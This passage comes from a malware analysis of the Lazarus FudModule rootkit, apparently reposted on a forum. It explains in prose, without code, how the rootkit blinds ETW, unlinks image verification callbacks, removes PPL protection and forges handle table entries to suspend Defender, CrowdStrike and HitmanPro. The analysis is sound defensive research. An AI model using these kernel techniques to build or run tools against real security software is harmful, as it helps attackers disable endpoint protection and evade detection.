    With a pointer to _ETW_GUID_ENTRY corresponding to a GUID of interest, FudModule proceeds to clear _ETW_GUID_ENTRY.ProviderEnableInfo.IsEnabled. The purpose of this modification seems self-explanatory: FudModule is trying to disable the ETW provider. To better understand how this works, let’s examine nt!EtwEventEnabled (see the decompiled code below). This is a routine that often serves as an if condition before nt!EtwWrite (or nt!EtwWriteEx) gets called.  
    Looking at the decompilation, there are two return 1 statements. Setting ProviderEnableInfo.IsEnabled to zero ensures that the first one is never reached. However, the second return statement could still potentially execute. To make sure this doesn’t happen, the rootkit also iterates over all _ETW_REG_ENTRY structures from the _ETW_GUID_ENTRY.RegListHead linked list. For each of them, it makes a single doubleword write to zero out four masks, namely EnableMask, GroupEnableMask, HostEnableMask, and HostGroupEnableMask (or only EnableMask and GroupEnableMask on older builds, where the latter two masks were not yet introduced).  
    Decompilation of nt!EtwEventEnabled. After the rootkit has finished its job, this routine will always return false for events related to the targeted GUIDs. This is because the rootkit cleared both _ETW_GUID_ENTRY.ProviderEnableInfo.IsEnabled and _ETW_REG_ENTRY.GroupEnableMask, forcing the highlighted conditions to fail.  Clearing these masks also has an additional effect beyond making EtwEventEnabled always return false. These four are all also checked in EtwWriteEx and this modification effectively neutralizes this routine, as when no mask is set for a particular event registration object, execution will never proceed to a lower-level routine (nt!EtwpEventWriteFull) where the bulk of the actual event writing logic is implemented. 
    0x100 – Image Verification Callbacks 
    Image verification callbacks are yet another callback mechanism disrupted by FudModule. Designed similarly to process/thread/image callbacks, image verification callbacks are supposed to get invoked whenever a new driver image is loaded into kernel memory. This represents useful functionality for anti-malware software, which can leverage them to blocklist known malicious or vulnerable drivers (though there might be some problems with this blocking approach as the callbacks get invoked asynchronously). Furthermore, image verification callbacks also offer a valuable source of telemetry, providing visibility into suspicious driver load events. The callbacks can be registered using the SeRegisterImageVerificationCallback routine, which is publicly undocumented. As a result of this undocumented nature, the usage here is limited mainly to deep-rooted anti-malware software. For instance, Windows Defender registers a callback named WdFilter!MpImageVerificationCallback. 
    As the kernel internally manages image verification callbacks in a similar fashion to some of the other callbacks we already explored, the rootkit’s removal implementation will undoubtedly seem familiar. First, the rootkit resolves the nt!SeRegisterImageVerificationCallback routine and scans its body to locate nt!ExCbSeImageVerificationDriverInfo. Dereferencing this, it obtains a pointer to a _CALLBACK_OBJECT structure, which holds the callbacks in the _CALLBACK_OBJECT.RegisteredCallbacks linked list. This list consists of _CALLBACK_REGISTRATION structures, where the actual callback function pointer can be found in _CALLBACK_REGISTRATION.CallbackFunction. FudModule clears the entire list by making the RegisteredCallbacks head LIST_ENTRY point directly to itself. Additionally, it also walks the original linked list and similarly short-circuits each individual _CALLBACK_REGISTRATION entry in the list. 
    This rootkit technique is newly implemented in the current version of FudModule, and we can only speculate on the motivation here. It seems to be designed to help avoid detection when loading either a vulnerable or a malicious driver. However, it might be hard to understand why Lazarus should want to load an additional driver if they already have control over the kernel. It would make little sense for them to load a vulnerable driver, as they already established their kernel read/write primitive by exploiting a zero-day in a preinstalled Windows driver. Further, even if they were exploiting a vulnerable driver in the first place (as was the case in the previous version of FudModule), it would be simply too late to unlink the callback now. By the time this rootkit technique executes, the image verification callback for the vulnerable driver would have already been invoked. Therefore, we believe the most likely explanation is that the threat actors are preparing the grounds for loading some malicious driver later. Perhaps the idea is that they just want to be covered in case they decide to deploy some additional kernel-mode payload in the future. 
    0x200 – Direct Attacks on Security Software 
    The rootkit techniques we explored up to this point were all somewhat generic. Each targeted some security-related system component and, through it, indirectly interfered with all security software that relied on the component. In contrast, this final technique goes straight to the point and aims to directly disable specific security software. In particular, the targeted security solutions are AhnLab V3 Endpoint Security, Windows Defender, CrowdStrike Falcon, and HitmanPro. 
    The attack starts with the rootkit obtaining the address of its own _EPROCESS structure. This is done using NtDuplicateHandle to duplicate the current process pseudohandle and then calling NtQuerySystemInformation to get SystemExtendedHandleInformation. With the extended handle information, the rootkit looks for an entry corresponding to the duplicated handle and obtains the _EPROCESS pointer from there. Using NtQuerySystemInformation to leak kernel pointers is a well-known technique that Microsoft aims to restrict by gradually building up mitigations. However, attackers capable of enabling SeDebugPrivilege at high integrity levels are out of scope of these mitigations, so FudModule can keep using this technique, even on the upcoming 24H2 builds. With the _EPROCESS pointer, FudModule disables mitigations by zeroing out _EPROCESS.MitigationFlags. Then, it also clears the EnableHandleExceptions flag from _EPROCESS.ObjectTable.Flags. We believe this is meant to increase stability in case something goes wrong later during the handle table entry manipulation technique that we will describe shortly.  
    Regarding the specific technique used to attack the security solutions, AhnLab is handled differently than the other three targets. FudModule first checks if AhnLab is even running, by traversing the ActiveProcessLinks linked list and looking for a process named asdsvc.exe (AhnLab Smart Defense Service) with _EPROCESS.Token.AuthenticationId set to SYSTEM_LUID. If such a process is found, FudModule clears its _EPROCESS.Protection byte, effectively toggling off PPL protection for the process. While this asdsvc.exe process is under usual circumstances meant to be protected at the standard PsProtectedSignerAntimalware level, this modification makes it just a regular non-protected process. This opens it up to further attacks from user mode, where now even other privileged, yet non-protected processes could be able to tamper with it. However, we suspect the main idea behind this technique might be to disrupt the link between AhnLab’s user-mode and kernel-mode components. By removing the service’s PPL protection, the kernel-mode component might no longer recognize it as a legitimate AhnLab component. However, this is just a speculation as we didn’t test the real impact of this technique. 
    Handle Table Entry Manipulation 
    The technique employed to attack Defender, CrowdStrike, and HitmanPro is much more intriguing: FudModule attempts to suspend them using a new handle table entry manipulation technique. To better understand this technique, let’s begin with a brief background on handle tables. When user-mode code interacts with kernel objects such as processes, files, or mutexes, it typically doesn’t work with the objects directly. Instead, it references them indirectly through handles. Internally, the kernel must be able to translate the handle to the corresponding object, and this is where the handle table comes in. This per-process table, available at _EPROCESS.ObjectTable.TableCode, serves as a mapping from handles to the underlying objects. Organized as an array, it is indexed by the integer value of the handle. Each element is of type _HANDLE_TABLE_ENTRY and contains two crucial pieces of information: a (compressed) pointer to the object’s header (nt!_OBJECT_HEADER) and access bits associated with the handle. 
    Due to this handle design, kernel object access checks are typically split into two separate logical steps. The first step happens when a process attempts to acquire a handle (such as opening a file with CreateFile). During this step, the current thread’s token is typically checked against the target object’s security descriptor to ensure that the thread is allowed to obtain a handle with the desired access mask. The second check takes place when a process performs an operation using an already acquired handle (such as writing to a file with WriteFile). This typically only involves verifying that the handle is powerful enough (meaning it has the right access bits) for the requested operation.  
    FudModule executes as a non-protected process, so it theoretically shouldn’t be able to obtain a powerful handle to a PPL-protected process such as the CrowdStrike Falcon Service. However, leveraging the kernel read/write primitive, FudModule has the ability to access the handle table directly. This allows it to craft a custom handle table entry with control over both the referenced object and the access bits. This way, it can conjure an arbitrary handle to any object, completely bypassing the check typically needed for handle acquisition. What’s more, if it sets the handle’s access bits appropriately, it will also satisfy the subsequent handle checks when performing its desired operations. 
    To prepare for the handle table entry manipulation technique, FudModule creates a dummy thread that just puts itself to sleep immediately. The thread itself is not important. What is important is that by calling CreateThread, the rootkit just obtained a thread handle with THREAD_ALL_ACCESS rights. This handle is the one that will have its handle table entry manipulated. Since it already has very powerful access bits, the rootkit will not even have to touch its _HANDLE_TABLE_ENTRY.GrantedAccessBits. All it needs to do is overwrite _HANDLE_TABLE_ENTRY.ObjectPointerBits to redirect the handle to an arbitrary object of its choice. This will make the handle reference that object and enable the rootkit to perform privileged operations on it. Note that ObjectPointerBits is not the whole pointer to the object: it only represents 44 bits of the 64-bit pointer. But since the _OBJECT_HEADER pointed to by ObjectPointerBits is guaranteed to be aligned (meaning the least significant four bits must be zero) and in kernel address space (meaning the most significant sixteen bits must be 0xFFFF), the remaining 20 bits can be easily inferred. 
    A dummy thread whose handle will be the subject of handle table entry manipulation.  The specific processes targeted by this technique are MsSense.exe, MsMpEng.exe, CSFalconService.exe, and hmpalert.exe. FudModule first finds their respective _EPROCESS structures, employing the same algorithm as it did to find the AhnLab service. Then, it performs a sanity check to ensure that the dummy thread handle is not too high by comparing it with _EPROCESS.ObjectTable.NextHandleNeedingPool (which holds information on the maximum possible handle value given the current handle table allocation size). With the sanity check satisfied, FudModule accesses the handle table itself (EPROCESS.ObjectTable.TableCode) and modifies the dummy thread’s _HANDLE_TABLE_ENTRY so that it points to the _OBJECT_HEADER of the target _EPROCESS. Finally, the rootkit uses the redirected handle to call NtSuspendProcess, which will suspend the targeted process.  
    It might seem odd that the manipulated handle used to be a thread handle, but now it’s being used as a process handle. In practice, there is nothing wrong with this since the handle table itself holds no object type information. The object type is stored in _OBJECT_HEADER.TypeIndex so when the rootkit redirected the handle, it also effectively changed the handle object type. As for the access bits, the original THREAD_ALL_ACCESS gets reinterpreted in the new context as PROCESS_ALL_ACCESS since both constants share the same underlying value. 
    The manipulated dummy thread handle (0x168), now referencing a process object.  Though suspending the target process might initially appear to be a completed job, FudModule doesn’t stop here. After taking five seconds of sleep, it also attempts to iterate over all the threads in the target process, suspending them one by one. When all threads are suspended, FudModule uses NtResumeProcess to resume the suspended process. At this point, while the process itself is technically resumed, its individual threads remain suspended, meaning the process is still effectively in a suspended state. We can only speculate why Lazarus implemented process suspension this way, but it seems like an attempt to make the technique stealthier. After all, a suspended process is much more conspicuous than just several threads with increased suspend counts. 
    To enumerate threads, FudModule calls NtQuerySystemInformation with the SystemExtendedHandleInformation class. Iterating over the returned handle information, FudModule searches for thread handles from the target process. The owner process is checked by comparing the PID of the target process with SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX.UniqueProcessId and the type is checked by comparing SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX.ObjectTypeIndex with the thread type index, which was previously obtained using NtQueryObject to get ObjectTypesInformation. For each enumerated thread (which might include some threads multiple times, as there might be more than one open handle to the same thread), FudModule manipulates the dummy thread handle so that it points to the enumerated thread and suspends it by calling SuspendThread on the manipulated handle. Finally, after all threads are suspended and the process resumed, FudModule restores the manipulated handle to its original state, once again referencing the dummy sleep thread. 
    Conclusion 
    The Lazarus Group remains among the most prolific and long-standing advanced persistent threat actors. Though their signature tactics and techniques are well-recognized by now, they still occasionally manage to surprise us with an unexpected level of technical sophistication. The FudModule rootkit serves as the latest example, representing one of the most complex tools Lazarus holds in their arsenal. Recent updates examined in this blog show Lazarus’ commitment to keep actively developing this rootkit, focusing on improvements in both stealth and functionality. 
    With their admin-to-kernel zero-day now burned, Lazarus is confronted with a significant challenge. They can either discover a new zero-day exploit or revert to their old BYOVD techniques. Regardless of their choice, we will continue closely monitoring their activity, eager to see how they will cope with these new circumstances. 
    Indicators of Compromise (IoCs) 
    A YARA rule for the latest FudModule variant is available at https://github.com/avast/ioc/tree/master/FudModule#yara.
     
    As always Microsoft is slow to re-act , this vulnerability is being exploited since August 2023 , but Microsoft has fixed it in February 2024
    "Thanks to Avast’s prompt report, Microsoft addressed this vulnerability as CVE-2024-21338 in the February Patch Tuesday update." 

  • Member Statistics

    39
    Total Members
    53
    Most Online
    fluoxetine cost
    Newest Member
    fluoxetine cost
    Joined
×
×
  • Create New...

Important Information

Privacy Policy

  I accept